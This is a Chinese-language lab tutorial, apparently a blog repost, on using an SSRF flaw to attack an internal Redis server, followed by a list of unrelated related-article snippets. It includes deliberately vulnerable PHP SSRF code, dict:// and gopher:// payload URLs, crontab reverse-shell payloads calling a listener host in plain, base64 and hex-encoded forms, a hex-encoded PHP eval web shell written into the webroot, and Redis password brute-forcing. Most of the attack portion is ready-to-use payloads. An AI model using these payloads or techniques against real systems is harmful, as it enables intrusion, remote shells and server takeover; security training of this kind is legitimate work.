SSRF+Redis进行内网渗透

server/2024/10/25 6:09:56/

SSRF+Redis进行内网渗透

一 环境搭建

准备一台服务器,开启了lampp以及redis,redis只允许内网访问

image-20241023155352565

把上面这个注释放开后,redis就只能内网访问

启动redis

使用kali进行端口扫描,扫不到6379端口

image-20241023155623466

kali连接不上redis

image-20241023155653852

ssrf漏洞代码

<?php
​$url = $_GET['url'];
​// 创建一个cURL资源$ch = curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);// 抓取URL并把它传递给浏览器curl_exec($ch);// 关闭cURL资源,并且释放系统资源curl_close($ch);
?>

二 端口探测

httphttp://192.168.6.49/ssrf/ssrf2.php?url=http://127.0.0.1:3306http://192.168.6.49/ssrf/ssrf2.php?url=http://127.0.0.1:22
dicthttp://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379

三 基于dict协议操作redis

1 查询所有的键

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/keys:*

image-20241023163656509

2 查询redis中某个键的值

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/get:name

image-20241023163819257

3 向redis中存数据

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:username:zhangsan

image-20241023163929186

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/get:username

image-20241023164058250

四 基于dict协议getshell

1 反弹shell

1) base64编码
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * * bash -i >& /dev/tcp/192.168.6.63/5555 0>&1   \n\n"
​
如果上面的写法存在过滤,我们可以把反弹shell转换为base64编码
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * * echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuNjMvNTU1NSAwPiYx'|base64 -d|bash   \n\n"
​
上面的写法,+会被服务器过滤,对+进行url编码(%2B)
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * *  echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNi42My81NTU1IDA%2BJjE='|base64 -d|bash   \n\n"
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/save
2) 十六进制编码

python十六进制编码算法

def encode_to_hex(input_string):encoded_string = ""for char in input_string:# 将每个字符转换为它的十六进制表示,并添加前缀 \xencoded_string += f"\\x{ord(char):02x}"return encoded_string
# 原始PHP代码
original_php_code = "bash -i >& /dev/tcp/192.168.6.63/5555 0>&1"# 转换为十六进制编码
encoded_php_code = encode_to_hex(original_php_code)print(encoded_php_code)

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * * \x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x2e\x36\x33\x2f\x35\x35\x35\x35\x20\x30\x3e\x26\x31   \n\n"

十六进制编码必须使用双引号引起来

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/save

2 写一句话木马

先尝试写入明文的一句话木马,发现报错不能写入
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:'\n\n  <?php  eval($_POST[0]); ?>  \n\n'

image-20241024101512567

对一句话木马进行十六进制编码

image-20241024101934545

\x3c\x3f\x70\x68\x70\x20\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x20\x3f\x3e

在写入一句话木马

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n  \x3c\x3f\x70\x68\x70\x20\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x20\x3f\x3e  \n\n"

十六进制编码必须使用双引号引起来

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/opt/lampp/htdocs
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:shell__.php
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/save

3 写入公钥

4 密码爆破

如果redis有密码,可以尝试进行密码爆破

修改redis的配置文件给redis设置密码

image-20241024104419702

利用dict协议暴破Redis密码

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/auth:123456

五 redis通信的数据格式

1 环境

1 开启redis的远程访问
2 给redis设置密码
3 启动redis服务
4 CentOS和kali都使用NAT模式

2 在kali上连接redis

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.214.129
192.168.214.129:6379> 

3 使用Wireshark抓包

登录redis

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.214.129
192.168.214.129:6379> auth 123456
OK
*2				命令中单词的个数	
$4				单词的长度
auth			
$6				单词的长度
123456

向redis中存数据

192.168.214.129:6379> set name woniu
OK
*3
$3
set
$4
name
$5
woniu

查询redis的数据

192.168.214.129:6379> get name
"woniu"
*2
$3
get
$4
name

六 基于gopher协议操作redis

1 gopher简介

gopher协议(信息查找协议),一般用来攻击redis,mysql等服务。其利用的数据格式 gopher://ip:端口/_数据,数据的前面需要有_,数据一般需要进行url编码。

2 gopher跟dict的区别

dict协议只支持单条命令,而gopher协议支持批量命令。比如针对redis操作,当redis有密码时,dict无能为了,而gopher可以很好的完成。

3 实验

1)把数据整理成一行
*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$5\r\nwoniu\r\n
2)使用python对上面的数据进行url编码
import urllib.parsecommand = "*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$5\r\nwoniu\r\n"
payload = urllib.parse.quote(command)
print(payload)
编码后的结果
%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Aname%0D%0A%245%0D%0Awoniu%0D%0A
3)使用浏览器再进行一次url编码

image-20241024122246400

%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%77%6f%6e%69%75%25%30%44%25%30%41
4)使用ssrf漏洞向redis发请求
http://192.168.214.129/ssrf/ssrf2.php?url=gopher://127.0.0.1:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%77%6f%6e%69%75%25%30%44%25%30%41

http://www.ppmy.cn/server/134626.html

相关文章

CentOS7 上安装GitLab的经历

一、安装必要的基础环境 1.安装依赖包 [rootgitlab-server ~]#yum install curl policycoreutils openssh-server openssh-clients postfix wget git patch -y [rootgitlab-server ~]# systemctl start postfix 2.配置yum源(由于网络问题&#xff0c;国内用户请使用清华大学…

【.Net】【C#】Program.cs通用代码模板

【.Net】【C#】Web Core Api 通用代码模板 常用NuGetProgram.csappsettings.jsonlog4net.configVS2022 swagger文档配置 常用NuGet Microsoft.Extensions.Logging.Log4Net.AspNetCore Flurl Flurl.Http Program.cs using System.Reflection; using Microsoft.AspNetCore.Mvc…

ref属性的作用对象类型

1.组件类型 如果作用对象是组件类型的话 那么该组件就是在当前组件中局部注册的组件 即子组件 通过this.$refs.refname就可以实现父组件访问子组件的需求 2.普通元素类型 当然除了满足父组件访问子组件以外 通过ref属性也可以作用于当前组件中的普通元素 并且通过this.$refs…

Python异步编程中的Producer-Consumer模式

Python异步编程中的Producer-Consumer模式 1. Producer-Consumer模式简介1.1 生产者&#xff08;Producer&#xff09;1.2 消费者&#xff08;Consumer&#xff09;1.3 队列&#xff08;Queue&#xff09; 2. 示例代码2.1 简单的Producer-Consumer示例2.2 多消费者示例2.3 带批…

【H2O2|全栈】JS入门知识(八)DOM(2)

目录 JS 前言 准备工作 排他操作 概念 案例 开关 概念 案例 自定义属性 设置属性 获取属性 移除属性 H5标准自定义属性格式规范 案例 节点 层级 父节点 子节点 兄弟节点 创建节点 添加节点 案例 结束语 JS 前言 本系列博客主要分享JavaScript的基础…

C++算法练习-day18——15.三数之和

题目来源&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 题目思路分析 题目描述&#xff1a; 给定一个包含 n 个整数的数组 nums&#xff0c;判断 nums 中是否存在三个元素 a&#xff0c;b&#xff0c;c &#xff0c;使得 a b c 0 &#xff1f;找出所有独特三元组…

Android 13 SPRD 如何临时修改 Android 系统版本

在 Android 开发或调试过程中,有时需要临时修改系统版本号,例如为了适应特定的应用需求或进行特定版本的兼容性测试。通过修改 Android 系统的构建文件,可以轻松实现这个目的。本文将介绍如何在 Android 源码中快速更改系统版本号。 步骤一:修改 sysprop.mk 首先,我们需…

C++ 虚函数问题理解[虚函数指针位于内存哪里]

虚函数是我们在C开发中最基本的多态中 常用的东西那么对于以下代码看看是否有哪些问题呢? class Base { public:virtual void foo() {printf("Base foo\n");} };void overwriteVtable() {Base obj;memset(&obj, 0, sizeof(obj)); obj.foo(); } 现在大家应该…